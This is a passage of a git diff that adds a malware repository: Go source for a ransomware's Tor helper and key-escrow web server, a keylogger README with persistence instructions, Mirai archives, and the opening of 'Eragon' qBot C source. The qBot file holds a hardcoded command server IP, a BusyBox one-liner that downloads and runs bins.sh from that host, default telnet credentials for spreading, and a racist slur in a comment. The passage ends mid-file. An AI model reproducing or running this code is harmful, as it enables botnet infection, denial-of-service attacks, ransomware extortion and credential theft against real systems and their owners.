PRIVATE KEY-----`)+ PUB_KEY = []byte(`+-----BEGIN PUBLIC KEY-----+MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxa7DJ2kw+JOICpeJ7lDM+ksQ1ZIVxb4npjskM6TyP5pAgN5Cdx7WcCVa0bHoVgnRI7WTZmVBLA9QssqAJHav6+kroo/0X7dibhghG1mUujgPxq//j4pPvq0qIMBeQbOB3sryLB/1ScgQzByJBuEBgm+FHWfLq7LJUyKmZd1uzKAEtJsrY3f7WhcWfiqMemMeJl7zvMvx79bqNe9wEs5AGb5+ZCM2fQxjCLBmMzK4gu1lZXh8wFl33fcDKFRGJ7gVvJSagvIe/KHA4Vydwl/Ofo23+nD8qEkppqLCuNUmpRRErI136Ku0mD8DSQncAKd2AAblPU0qrK2mVk48WVPqEQgHL+mwIDAQAB+-----END PUBLIC KEY-----`)++ Phrases = []string{"Hello World!", "The Quick Brown Fox Jumps Over The Lazy Dog", "Testing RSA Encryption"}+)++func TestEncryptDecryptRSA(t *testing.T) {+ for _, phrase := range Phrases {+ ciphertext, err := Encrypt(PUB_KEY, []byte(phrase))+ if err != nil {+ t.Error(err)+ }+ decryptedText, err := Decrypt(PRIV_KEY, ciphertext)+ if err != nil {+ t.Error(err)+ }++ if string(decryptedText) != phrase {+ t.Errorf("Expected %s but got %s", phrase, string(decryptedText))+ }+ }+}++func BenchmarkEncryptDecryptRSA(b *testing.B) {+ for n := 0; n < b.N; n++ {+ ciphertext, _ := Encrypt(PUB_KEY, []byte("bench"+strconv.Itoa(n)))+ Decrypt(PRIV_KEY, ciphertext)+ }+}diff --git a/Malwares/Advanced Malware/Kenyatta ransomware/tor/tor_windows.go b/Malwares/Advanced Malware/Kenyatta ransomware/tor/tor_windows.gonew file mode 100644index 0000000..3156ae3--- /dev/null+++ b/Malwares/Advanced Malware/Kenyatta ransomware/tor/tor_windows.go@@ -0,0 +1,158 @@+// +build windows+//+// Package tor provides a wrapper around the tor proxy command+package tor++import (+ "archive/zip"+ "bufio"+ "bytes"+ "fmt"+ "io"+ "net/http"+ "os"+ "os/exec"+ "path/filepath"+ "strings"+ "syscall"++ "github.com/mauri870/ransomware/utils"+)++const (+ // IsReadyMessage indicates that tor is ready for connections+ IsReadyMessage = "Bootstrapped 100%: Done"+ TOR_ZIP_URL = "https://www.torproject.org/dist/torbrowser/7.5.3/tor-win32-0.3.2.10.zip"+)++// Tor wraps the tor command line+type Tor struct {+ RootPath string // RootPath is the path to extract the tor bundle zip+ Cmd *exec.Cmd // Cmd is the tor proxy command+}++// New returns a new Tor instance+func New(rootPath string) *Tor {+ return &Tor{RootPath: rootPath}+}++// Download downloads the tor zip distribution+func (t *Tor) Download(dst io.Writer) error {+ resp, err := http.Get(TOR_ZIP_URL)+ if err != nil {+ return err+ }+ defer resp.Body.Close()++ _, err = io.Copy(dst, &utils.DownloadProgressReader{+ Reader: resp.Body,+ Lenght: resp.ContentLength,+ })++ return err+}++// DownloadAndExtract download the tor bundle and extract to a given path+// It also returns the last known error+func (t *Tor) DownloadAndExtract() error {+ if ok := utils.FileExists(t.GetExecutable()); ok {+ return nil+ }++ var buf bytes.Buffer+ err := t.Download(&buf)+ if err != nil {+ return err+ }++ zipWriter, err := zip.NewReader(bytes.NewReader(buf.Bytes()), int64(buf.Len()))+ if err != nil {+ return err+ }++ for _, file := range zipWriter.File {+ err = t.extractFile(file)+ if err != nil {+ return err+ }+ }++ return nil+}++func (t *Tor) extractFile(file *zip.File) error {+ path := filepath.Join(t.RootPath, file.Name)+ if file.FileInfo().IsDir() {+ os.MkdirAll(path, file.Mode())+ return nil+ }++ fileReader, err := file.Open()+ if err != nil {+ return err+ }+ defer fileReader.Close()++ targetFile, err := os.OpenFile(path, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, file.Mode())+ if err != nil {+ return err+ }+ defer targetFile.Close()++ if _, err := io.Copy(targetFile, fileReader); err != nil {+ return err+ }+ return nil+}++// Start starts the tor proxy. Start blocks until an error occur or tor bootstraping+// is done+func (t *Tor) Start() error {+ cmd := t.GetExecutable()+ t.Cmd = exec.Command(cmd)+ t.Cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}++ stdout, err := t.Cmd.StdoutPipe()+ if err != nil {+ return err+ }++ err = t.Cmd.Start()+ if err != nil {+ return err+ }++ scanner := bufio.NewScanner(stdout)+ for scanner.Scan() {+ if strings.Contains(scanner.Text(), IsReadyMessage) {+ break+ }+ }++ return nil+}++// GetExecutable returns the path to tor.exe+func (t *Tor) GetExecutable() string {+ return fmt.Sprintf("%s\\Tor\\tor.exe", t.RootPath)+}++// Kill kill the tor process+func (t *Tor) Kill() error {+ err := t.Cmd.Process.Kill()+ if err != nil {+ return err+ }++ return nil+}++// Clean delete the tor folder+func (t *Tor) Clean() error {+ dir, _ := filepath.Split(t.GetExecutable())+ err := os.RemoveAll(dir)+ if err != nil {+ return err+ }+ return nil+}diff --git a/Malwares/Advanced Malware/Kenyatta ransomware/utils/download_progress.go b/Malwares/Advanced Malware/Kenyatta ransomware/utils/download_progress.gonew file mode 100644index 0000000..5b32b49--- /dev/null+++ b/Malwares/Advanced Malware/Kenyatta ransomware/utils/download_progress.go@@ -0,0 +1,39 @@+package utils++import (+ "fmt"+ "io"+ "os"+)++// DownloadProgressReader wraps an existing io.Reader and show the copy progress+//+// It simply forwards the Read() call, while displaying+// the results from individual calls to it.+type DownloadProgressReader struct {+ io.Reader+ Total int64 // Total # of bytes transferred+ Lenght int64 // Expected length+ Progress float64+}++// Read 'overrides' the underlying io.Reader's Read method.+// This is the one that will be called by io.Copy(). We simply+// use it to keep track of byte counts and then forward the call.+func (pt *DownloadProgressReader) Read(p []byte) (int, error) {+ n, err := pt.Reader.Read(p)+ if n > 0 {+ pt.Total += int64(n)+ percentage := float64(pt.Total) / float64(pt.Lenght) * float64(100)+ if percentage-pt.Progress > 2 {+ pt.Progress = percentage+ fmt.Fprintf(os.Stderr, "\r%.2f%%", pt.Progress)+ if pt.Progress > 98.0 {+ pt.Progress = 100+ fmt.Fprintf(os.Stderr, "\r%.2f%%\n", pt.Progress)+ }+ }+ }++ return n, err+}diff --git a/Malwares/Advanced Malware/Kenyatta ransomware/utils/utils.go b/Malwares/Advanced Malware/Kenyatta ransomware/utils/utils.gonew file mode 100644index 0000000..48c56f3--- /dev/null+++ b/Malwares/Advanced Malware/Kenyatta ransomware/utils/utils.go@@ -0,0 +1,100 @@+package utils++import (+ "crypto/rand"+ "encoding/hex"+ "io"+ "os"+ "os/user"+ "strings"+)++// Generate a random alphanumeric string with the given size+func GenerateRandomANString(size int) (string, error) {+ key := make([]byte, size)+ _, err := rand.Read(key)+ if err != nil {+ return "", err+ }++ return hex.EncodeToString(key)[:size], nil+}++// Check if a value exists on slice+func StringInSlice(search string, slice []string) bool {+ for _, v := range slice {+ if v == search {+ return true+ }+ }+ return false+}++// SliceContainsSubstring check if a substring exists on a slice item+func SliceContainsSubstring(search string, slice []string) bool {+ for _, v := range slice {+ if strings.Contains(search, v) {+ return true+ }+ }+ return false+}++// Return a list containing the letters used by the current drives+func GetDrives() (letters []string) {+ for _, drive := range "ABCDEFGHIJKLMNOPQRSTUVWXYZ" {+ _, err := os.Open(string(drive) + ":\\")+ if err == nil {+ letters = append(letters, string(drive)+":\\")+ }+ }+ return+}++// Return an *os.User instance representing the current user+func GetCurrentUser() *user.User {+ usr, err := user.Current()+ if err != nil {+ return &user.User{}+ }+ return usr+}++// RenameFile move the file from src to the file on dst+// This is a workaround to os.Rename across drives on windows+func RenameFile(src, dst string) error {+ srcFile, err := os.Open(src)+ if err != nil {+ return err+ }+ defer srcFile.Close()++ dstfile, err := os.Create(dst)+ if err != nil {+ return err+ }+ defer dstfile.Close()++ _, err = io.Copy(dstfile, srcFile)+ if err != nil {+ return err+ }++ srcFile.Close()++ if err = os.Remove(src); err != nil {+ return err+ }++ return nil+}++// FileExists returns whether the given file or directory exists or not+func FileExists(path string) bool {+ _, err := os.Stat(path)+ if err == nil {+ return true+ }++ return false+}diff --git a/Malwares/Advanced Malware/Kenyatta ransomware/utils/utils_test.go b/Malwares/Advanced Malware/Kenyatta ransomware/utils/utils_test.gonew file mode 100644index 0000000..cbfefcc--- /dev/null+++ b/Malwares/Advanced Malware/Kenyatta ransomware/utils/utils_test.go@@ -0,0 +1,51 @@+package utils++import (+ "os/user"+ "regexp"+ "testing"+)++func TestGenerateANString(t *testing.T) {+ sizes := []int{8, 16, 32, 64}+ for _, size := range sizes {+ key, err := GenerateRandomANString(size)+ if err != nil {+ t.Error(err)+ }++ if len(key) != size {+ t.Errorf("Expect key with %d length, but got %d", size, len(key))+ }++ re := regexp.MustCompile("^[a-zA-Z0-9_]*$")+ if !re.MatchString(key) {+ t.Errorf("Expecting alphanumeric string, but got %s", key)+ }+ }+}++func TestStringInSlice(t *testing.T) {+ tests := []struct {+ slice []string+ search string+ result bool+ }{+ {[]string{"Hello", "World"}, "World", true},+ {[]string{"The", "Quick", "Brown", "Fox"}, "Fox", true},+ {[]string{"Hi", "Hello"}, "Welcome", false},+ }+ for _, test := range tests {+ exists := StringInSlice(test.search, test.slice)+ if exists != test.result {+ t.Errorf("Expect %t when search for %s in %#v but got %t", test.result, test.search, test.slice, exists)+ }+ }+}++func TestGetCurrentUser(t *testing.T) {+ usr := GetCurrentUser()+ if usr == (&user.User{}) {+ t.Error("Expect a valid user instance, got empty")+ }+}diff --git a/Malwares/Advanced Malware/Kenyatta ransomware/web/handlers.go b/Malwares/Advanced Malware/Kenyatta ransomware/web/handlers.gonew file mode 100644index 0000000..6e5727a--- /dev/null+++ b/Malwares/Advanced Malware/Kenyatta ransomware/web/handlers.go@@ -0,0 +1,78 @@+package web++import (+ "encoding/json"+ "fmt"+ "net/http"++ "github.com/labstack/echo"+ "github.com/mauri870/ransomware/repository"+)++type Engine struct {+ *echo.Echo+ PrivateKey []byte+ Database *repository.BoltDB+}++// NewEngine return a new echo.Echo instance+func NewEngine() *Engine {+ return &Engine{+ Echo: echo.New(),+ PrivateKey: []byte{},+ Database: nil,+ }+}++// AddKeys persists a new key pair+func (e *Engine) AddKeys(c echo.Context) error {+ // Get the payload from context+ payload := c.Get("payload").([]byte)++ // Parse the json keys+ var keys map[string]string+ if err := json.Unmarshal(payload, &keys); err != nil {+ // Bad Json+ return c.JSON(http.StatusBadRequest, ApiResponseBadJson)+ }++ available, err := e.Database.IsAvailable(keys["id"], "keys")+ if err != nil && err != repository.ErrorBucketNotExists {+ return c.JSON(http.StatusInternalServerError, ApiResponseInternalError)+ }++ if available || err == repository.ErrorBucketNotExists {+ err = e.Database.CreateOrUpdate(keys["id"], keys["enckey"], "keys")+ if err != nil {+ return c.JSON(http.StatusInternalServerError, "")+ }++ c.Logger().Printf("Successfully saved key pair %s - %s", keys["id"], keys["enckey"])+ // Success \o/+ return c.NoContent(http.StatusNoContent)+ }++ // Id already exists+ return c.JSON(http.StatusConflict, ApiResponseDuplicatedId)+}++// GetEncryptionKey retrieves a encryption key for a given id+func (e *Engine) GetEncryptionKey(c echo.Context) error {+ id := c.Param("id")+ if len(id) != 32 {+ return c.JSON(http.StatusBadRequest, ApiResponseBadRequest)+ }++ // If nothing goes wrong, retrieve the encryption key...+ enckey, err := e.Database.Find(id, "keys")+ if err != nil {+ return c.JSON(http.StatusTeapot, ApiResponseResourceNotFound)+ }++ return c.JSON(http.StatusOK, fmt.Sprintf(`{"status": 200, "enckey": "%s"}`, enckey))+}++// Index simply returns a OK+func (e *Engine) Index(c echo.Context) error {+ return c.String(http.StatusOK, "OK")+}diff --git a/Malwares/Advanced Malware/Kenyatta ransomware/web/middlewares.go b/Malwares/Advanced Malware/Kenyatta ransomware/web/middlewares.gonew file mode 100644index 0000000..cce3437--- /dev/null+++ b/Malwares/Advanced Malware/Kenyatta ransomware/web/middlewares.go@@ -0,0 +1,29 @@+package web++import (+ "net/http"++ "github.com/labstack/echo"+ "github.com/mauri870/ransomware/rsa"+)++// DecryptPayloadMiddleware try to decrypt the payload from request+func (e *Engine) DecryptPayloadMiddleware(next echo.HandlerFunc) echo.HandlerFunc {+ return func(c echo.Context) error {+ // Retrieve the payload from request+ payload := c.FormValue("payload")+ if payload == "" {+ return c.JSON(http.StatusUnprocessableEntity, ApiResponseNoPayload)+ }++ // Decrypt the payload+ jsonPayload, err := rsa.Decrypt(e.PrivateKey, []byte(payload))+ if err != nil {+ c.Logger().Print("Bad payload encryption, rejecting...\n")+ return c.JSON(http.StatusUnprocessableEntity, ApiResponseBadRSAEncryption)+ }++ c.Set("payload", jsonPayload)+ return next(c)+ }+}diff --git a/Malwares/Advanced Malware/Kenyatta ransomware/web/response.go b/Malwares/Advanced Malware/Kenyatta ransomware/web/response.gonew file mode 100644index 0000000..863225e--- /dev/null+++ b/Malwares/Advanced Malware/Kenyatta ransomware/web/response.go@@ -0,0 +1,44 @@+package web++import (+ "net/http"+ "strings"++ "github.com/labstack/echo"+)++var (+ ApiResponseForbidden = SimpleResponse{Status: http.StatusForbidden, Message: "Seems like you are not welcome here... Bye"}+ ApiResponseBadJson = SimpleResponse{Status: http.StatusBadRequest, Message: "Expect valid json payload"}+ ApiResponseInternalError = SimpleResponse{Status: http.StatusInternalServerError, Message: "Internal Server Error"}+ ApiResponseDuplicatedId = SimpleResponse{Status: http.StatusConflict, Message: "Duplicated Id"}+ ApiResponseBadRSAEncryption = SimpleResponse{Status: http.StatusUnprocessableEntity, Message: "Error validating payload, bad public key"}+ ApiResponseNoPayload = SimpleResponse{Status: http.StatusUnprocessableEntity, Message: "No payload"}+ ApiResponseBadRequest = SimpleResponse{Status: http.StatusBadRequest, Message: "Bad Request"}+ ApiResponseResourceNotFound = SimpleResponse{Status: http.StatusTeapot, Message: "Resource Not Found"}+ ApiResponseNotFound = SimpleResponse{Status: http.StatusNotFound, Message: "Not Found"}+)++type SimpleResponse struct {+ Status int+ Message string+}++func CustomHTTPErrorHandler(err error, c echo.Context) {+ httpError, ok := err.(*echo.HTTPError)+ if ok {+ // If is an API call return a JSON response+ path := c.Request().URL().Path()+ if !strings.HasSuffix(path, "/") {+ path += "/"+ }++ if strings.Contains(path, "/api/") {+ c.JSON(httpError.Code, SimpleResponse{Status: httpError.Code, Message: httpError.Message})+ return+ }++ // Otherwise return the normal response+ c.String(httpError.Code, httpError.Message)+ }+}diff --git a/Malwares/Advanced Malware/Keylogger/Keylogger.exe b/Malwares/Advanced Malware/Keylogger/Keylogger.exenew file mode 100644index 0000000..97effe6Binary files /dev/null and b/Malwares/Advanced Malware/Keylogger/Keylogger.exe differdiff --git a/Malwares/Advanced Malware/Keylogger/README.md b/Malwares/Advanced Malware/Keylogger/README.mdnew file mode 100644index 0000000..39cc403--- /dev/null+++ b/Malwares/Advanced Malware/Keylogger/README.md@@ -0,0 +1,3 @@+# Keylogger+I Built this with python. Packaged it into an .exe so it works on all machines (with python installed and not)+Run .EXE to execute. Install it in startup folder so it starts everytime the system is booted.diff --git a/Malwares/Advanced Malware/Keylogger/VCRUNTIME140.dll b/Malwares/Advanced Malware/Keylogger/VCRUNTIME140.dllnew file mode 100644index 0000000..5de800bBinary files /dev/null and b/Malwares/Advanced Malware/Keylogger/VCRUNTIME140.dll differdiff --git a/Malwares/Advanced Malware/Keylogger/_bz2.pyd b/Malwares/Advanced Malware/Keylogger/_bz2.pydnew file mode 100644index 0000000..0c6d8c0Binary files /dev/null and b/Malwares/Advanced Malware/Keylogger/_bz2.pyd differdiff --git a/Malwares/Advanced Malware/Keylogger/_decimal.pyd b/Malwares/Advanced Malware/Keylogger/_decimal.pydnew file mode 100644index 0000000..060f288Binary files /dev/null and b/Malwares/Advanced Malware/Keylogger/_decimal.pyd differdiff --git a/Malwares/Advanced Malware/Keylogger/_hashlib.pyd b/Malwares/Advanced Malware/Keylogger/_hashlib.pydnew file mode 100644index 0000000..1cabad5Binary files /dev/null and b/Malwares/Advanced Malware/Keylogger/_hashlib.pyd differdiff --git a/Malwares/Advanced Malware/Keylogger/_lzma.pyd b/Malwares/Advanced Malware/Keylogger/_lzma.pydnew file mode 100644index 0000000..4d3cc6aBinary files /dev/null and b/Malwares/Advanced Malware/Keylogger/_lzma.pyd differdiff --git a/Malwares/Advanced Malware/Keylogger/_socket.pyd b/Malwares/Advanced Malware/Keylogger/_socket.pydnew file mode 100644index 0000000..61f8f90Binary files /dev/null and b/Malwares/Advanced Malware/Keylogger/_socket.pyd differdiff --git a/Malwares/Advanced Malware/Keylogger/_ssl.pyd b/Malwares/Advanced Malware/Keylogger/_ssl.pydnew file mode 100644index 0000000..b1d0290Binary files /dev/null and b/Malwares/Advanced Malware/Keylogger/_ssl.pyd differdiff --git a/Malwares/Advanced Malware/Keylogger/base_library.zip b/Malwares/Advanced Malware/Keylogger/base_library.zipnew file mode 100644index 0000000..87004c6Binary files /dev/null and b/Malwares/Advanced Malware/Keylogger/base_library.zip differdiff --git a/Malwares/Advanced Malware/Keylogger/libcrypto-1_1.dll b/Malwares/Advanced Malware/Keylogger/libcrypto-1_1.dllnew file mode 100644index 0000000..05522c7Binary files /dev/null and b/Malwares/Advanced Malware/Keylogger/libcrypto-1_1.dll differdiff --git a/Malwares/Advanced Malware/Keylogger/libssl-1_1.dll b/Malwares/Advanced Malware/Keylogger/libssl-1_1.dllnew file mode 100644index 0000000..aa5005eBinary files /dev/null and b/Malwares/Advanced Malware/Keylogger/libssl-1_1.dll differdiff --git a/Malwares/Advanced Malware/Keylogger/python39.dll b/Malwares/Advanced Malware/Keylogger/python39.dllnew file mode 100644index 0000000..62dfdecBinary files /dev/null and b/Malwares/Advanced Malware/Keylogger/python39.dll differdiff --git a/Malwares/Advanced Malware/Keylogger/select.pyd b/Malwares/Advanced Malware/Keylogger/select.pydnew file mode 100644index 0000000..d4281d4Binary files /dev/null and b/Malwares/Advanced Malware/Keylogger/select.pyd differdiff --git a/Malwares/Advanced Malware/Keylogger/unicodedata.pyd b/Malwares/Advanced Malware/Keylogger/unicodedata.pydnew file mode 100644index 0000000..bbf0788Binary files /dev/null and b/Malwares/Advanced Malware/Keylogger/unicodedata.pyd differdiff --git a/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.Apex_Predator.rar b/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.Apex_Predator.rarnew file mode 100644index 0000000..8251917Binary files /dev/null and b/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.Apex_Predator.rar differdiff --git a/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.Arcane.rar b/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.Arcane.rarnew file mode 100644index 0000000..eefa829Binary files /dev/null and b/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.Arcane.rar differdiff --git a/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.B1nary.rar b/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.B1nary.rarnew file mode 100644index 0000000..212ed8fBinary files /dev/null and b/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.B1nary.rar differdiff --git a/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.BallPit.7z b/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.BallPit.7znew file mode 100644index 0000000..30f2dbeBinary files /dev/null and b/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.BallPit.7z differdiff --git a/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.Beastmode.d.7z b/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.Beastmode.d.7znew file mode 100644index 0000000..30c9175Binary files /dev/null and b/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.Beastmode.d.7z differdiff --git a/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.Cbot.7z b/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.Cbot.7znew file mode 100644index 0000000..4ea3ff3Binary files /dev/null and b/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.Cbot.7z differdiff --git a/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.CyberWar.b.rar b/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.CyberWar.b.rarnew file mode 100644index 0000000..a8420b4Binary files /dev/null and b/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.CyberWar.b.rar differdiff --git a/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.Demeter.a.7z b/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.Demeter.a.7znew file mode 100644index 0000000..e7f3dc5Binary files /dev/null and b/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.Demeter.a.7z differdiff --git a/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.Demon.a.7z b/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.Demon.a.7znew file mode 100644index 0000000..c940567Binary files /dev/null and b/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.Demon.a.7z differdiff --git a/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.Demon.e.7z b/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.Demon.e.7znew file mode 100644index 0000000..3606a78Binary files /dev/null and b/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.Demon.e.7z differdiff --git a/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.Eragon2.0.c b/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.Eragon2.0.cnew file mode 100644index 0000000..5950f97--- /dev/null+++ b/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.Eragon2.0.c@@ -0,0 +1,1912 @@+/*+ERAGON qBot+[ CHANGELOG ]++1.0:+HTTPHEX ATTACK (OP)+AMAZING HTTP FLOOD+Telnet SREP+Build Detector+Server / Device Detector+GOOD STD FLOOD+All working attack methods (Common)++2.0:+Nameserver Updater+Device Cleaner+Port Closer (TO OP TAKEN OUT)+Botkiller Introduced(Not added still broke)+*/++#include <stdlib.h>+#include <stdarg.h>+#include <stdio.h>+#include <sys/socket.h>+#include <sys/types.h>+#include <netinet/in.h>+#include <arpa/inet.h>+#include <netdb.h>+#include <signal.h>+#include <strings.h>+#include <string.h>+#include <sys/utsname.h>+#include <unistd.h>+#include <fcntl.h>+#include <errno.h>+#include <netinet/ip.h>+#include <netinet/udp.h>+#include <netinet/tcp.h>+#include <sys/wait.h>+#include <sys/ioctl.h>+#include <net/if.h>+#include <time.h>+#include <dirent.h>+#include <ctype.h>+#include <sys/prctl.h>+#define VERSION "Eragon v2"+#define PAD_RIGHT 1+#define PAD_ZERO 2+#define PRINT_BUF_LEN 12+#define PR_SET_NAME 15+#define PHI 0x9e3779b9+#define CMD_IAC 255+#define CMD_WILL 251+#define CMD_WONT 252+#define CMD_DO 253+#define CMD_DONT 254+#define OPT_SGA 3+#define STD2_SIZE 65+#define STD_PIGZ 69+#define BUFFER_SIZE 1024+#define SERVER_LIST_SIZE (sizeof(ServerInfo) / sizeof(unsigned char *))+// Credit to Scar for all these Builds+char *getBuild() {+ #if defined(__x86_64__) || defined(_M_X64)+ return "x86_64";+ #elif defined(__i386) || defined(__i386__) || defined(_M_IX86)+ return "x86_32";+ #elif defined(__ARM_ARCH_4T__) || defined(__TARGET_ARM_4T)+ return "ARM-4";+ #elif defined(__ARM_ARCH_5_) || defined(__ARM_ARCH_5E_)+ return "ARM-5"+ #elif defined(__ARM_ARCH_6_) || defined(__ARM_ARCH_6T2_) || defined(__ARM_ARCH_6J_) || defined(__ARM_ARCH_6M_)+ return "ARM-6";+ #elif defined(__ARM_ARCH_7_) || defined(__ARM_ARCH_7A__) || defined(__ARM_ARCH_7R__) || defined(__ARM_ARCH_7M__)+ return "ARM-7";+ #elif defined(_mips__mips) || defined(__mips) || defined(__MIPS_) || defined(_mips)+ return "MIPS";+ #elif defined(__sh__)+ return "SUPERH";+ #elif defined(__powerpc) || defined(__powerpc_) || defined(_ppc_) || defined(__PPC__) || defined(_ARCH_PPC)+ return "POWERPC";+ #else+ return "UNKNOWN";+ #endif+}+char *getBuildz()+{+if(access("/usr/bin/python", F_OK) != -1){+return "SERVER";+} else {+return "DEVICE";+}+}+const char *useragents[] = {+ "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0",+ "Mozilla/5.0 (X11; U; Linux ppc; en-US; rv:1.9a8) Gecko/2007100620 GranParadiso/3.1",+ "Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)",+ "Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en; rv:1.8.1.11) Gecko/20071128 Camino/1.5.4",+ "Mozilla/5.0 (Windows; U; Windows NT 6.1; rv:2.2) Gecko/20110201",+ "Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.6) Gecko/2009020911",+ "Mozilla/5.0 (Windows; U; Windows NT 6.1; cs; rv:1.9.2.6) Gecko/20100628 myibrow/4alpha2",+ "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; MyIE2; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0)",+ "Mozilla/5.0 (Windows; U; Win 9x 4.90; SG; rv:1.9.2.4) Gecko/20101104 Netscape/9.1.0285",+ "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko/20090327 Galeon/2.0.7",+ "Mozilla/5.0 (PLAYSTATION 3; 3.55)",+ "Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Thunderbird/38.2.0 Lightning/4.0.2",+ "wii libnup/1.0",+ "Mozilla/4.0 (PSP (PlayStation Portable); 2.00)",+ "PSP (PlayStation Portable); 2.00",+ "Bunjalloo/0.7.6(Nintendo DS;U;en)",+ "Doris/1.15 [en] (Symbian)",+ "BlackBerry7520/4.0.0 Profile/MIDP-2.0 Configuration/CLDC-1.1",+ "BlackBerry9700/5.0.0.743 Profile/MIDP-2.1 Configuration/CLDC-1.1 VendorID/100",+ "Opera/9.80 (X11; Linux i686; Ubuntu/14.10) Presto/2.12.388 Version/12.16",+ "Opera/9.80 (Windows NT 5.1; U;) Presto/2.7.62 Version/11.01",+ "Mozilla/5.0 (X11; Linux x86_64; U; de; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.62",+ "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36",+ "Mozilla/5.0 (Linux; Android 4.4.3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.89 Mobile Safari/537.36",+ "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.39 Safari/525.19",+ "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0; chromeframe/11.0.696.57)",+ "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; uZardWeb/1.0; Server_JP)",+ "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; en-us) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Safari/530.17 Skyfire/2.0",+ "SonyEricssonW800i/R1BD001/SEMC-Browser/4.2 Profile/MIDP-2.0 Configuration/CLDC-1.1",+ "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/4.0; FDM; MSIECrawler; Media Center PC 5.0)",+ "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0) Gecko/20110517 Firefox/5.0 Fennec/5.0",+ "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; FunWebProducts)",+ "MOT-V300/0B.09.19R MIB/2.2 Profile/MIDP-2.0 Configuration/CLDC-1.0",+ "Mozilla/5.0 (Android; Linux armv7l; rv:9.0) Gecko/20111216 Firefox/9.0 Fennec/9.0",+ "Mozilla/5.0 (compatible; Teleca Q7; Brew 3.1.5; U; en) 480X800 LGE VX11000",+ "MOT-L7/08.B7.ACR MIB/2.2.1 Profile/MIDP-2.0 Configuration/CLDC-1.1"+};+// ---------------------- EDIT SECTION -------------------------------------------------------------------+#define PRINTS // If you define you sir are a nigger+#define Server_Botport 27+unsigned char *ServerInfo[] = {"80.211.79.50:27"}; // please dont reck my botport.. change it xD+char *BusyBoxPayload = "cd /tmp/; /bin/busybox wget http://80.211.79.50/bins.sh; chmod +x bins.sh; sh bins.sh; tftp -r tftp1.sh -g 80.211.79.50; chmod +x tftp1.sh; sh tftp1.sh; rm -rf *";+char *usernames[] = { // add telnet passes maybe...+ "root\0", //root:+ "root\0", //root:admin+ "admin\0", //admin:admin+ "root\0", //root:default++};++char *passwords[] = {+ "\0", //root:+ "admin\0", // root:admin+ "admin\0", // admin:admin+ "default\0", // root:default++};+// -------------------------- STOP EDITING! ------------------------------------------------------------------+char *tmpdirs[] = {"/dev/netslink/", "/tmp/", "/var/", "/dev/", "/var/run/", "/dev/shm/", "/mnt/", "/boot/", "/usr/", "/opt/", (char*)0};+char *advances[] = {":", "ogin", "sername", "assword", (char*)0};+char *fails[] = {"nvalid", "ailed", "ncorrect", "enied", "rror", "oodbye", "bad", (char*)0};+char *successes[] = {"busybox", "$", "#", (char*)0};+char *advances2[] = {"nvalid", "ailed", "ncorrect", "enied", "rror", "oodbye", "bad", "busybox", "$", "#", (char*)0};+int botnetServer = -1;+uint32_t *pids;+uint32_t botnetPid;+uint64_t numpids = 0;+struct in_addr ourIP;+struct in_addr ourPublicIP;+unsigned char macAddress[6] = {0};+char *inet_ntoa(struct in_addr in);+int KadenCommStock = 0;+int botnetPrint(int sock, char *formatStr, ...);+static uint32_t Q[4096], c = 362436;+char *Bot_Killer_Binarys[] = { //this has not been added yet... https://www.youtube.com/watch?v=dQw4w9WgXcQ+ "mips", //1+ 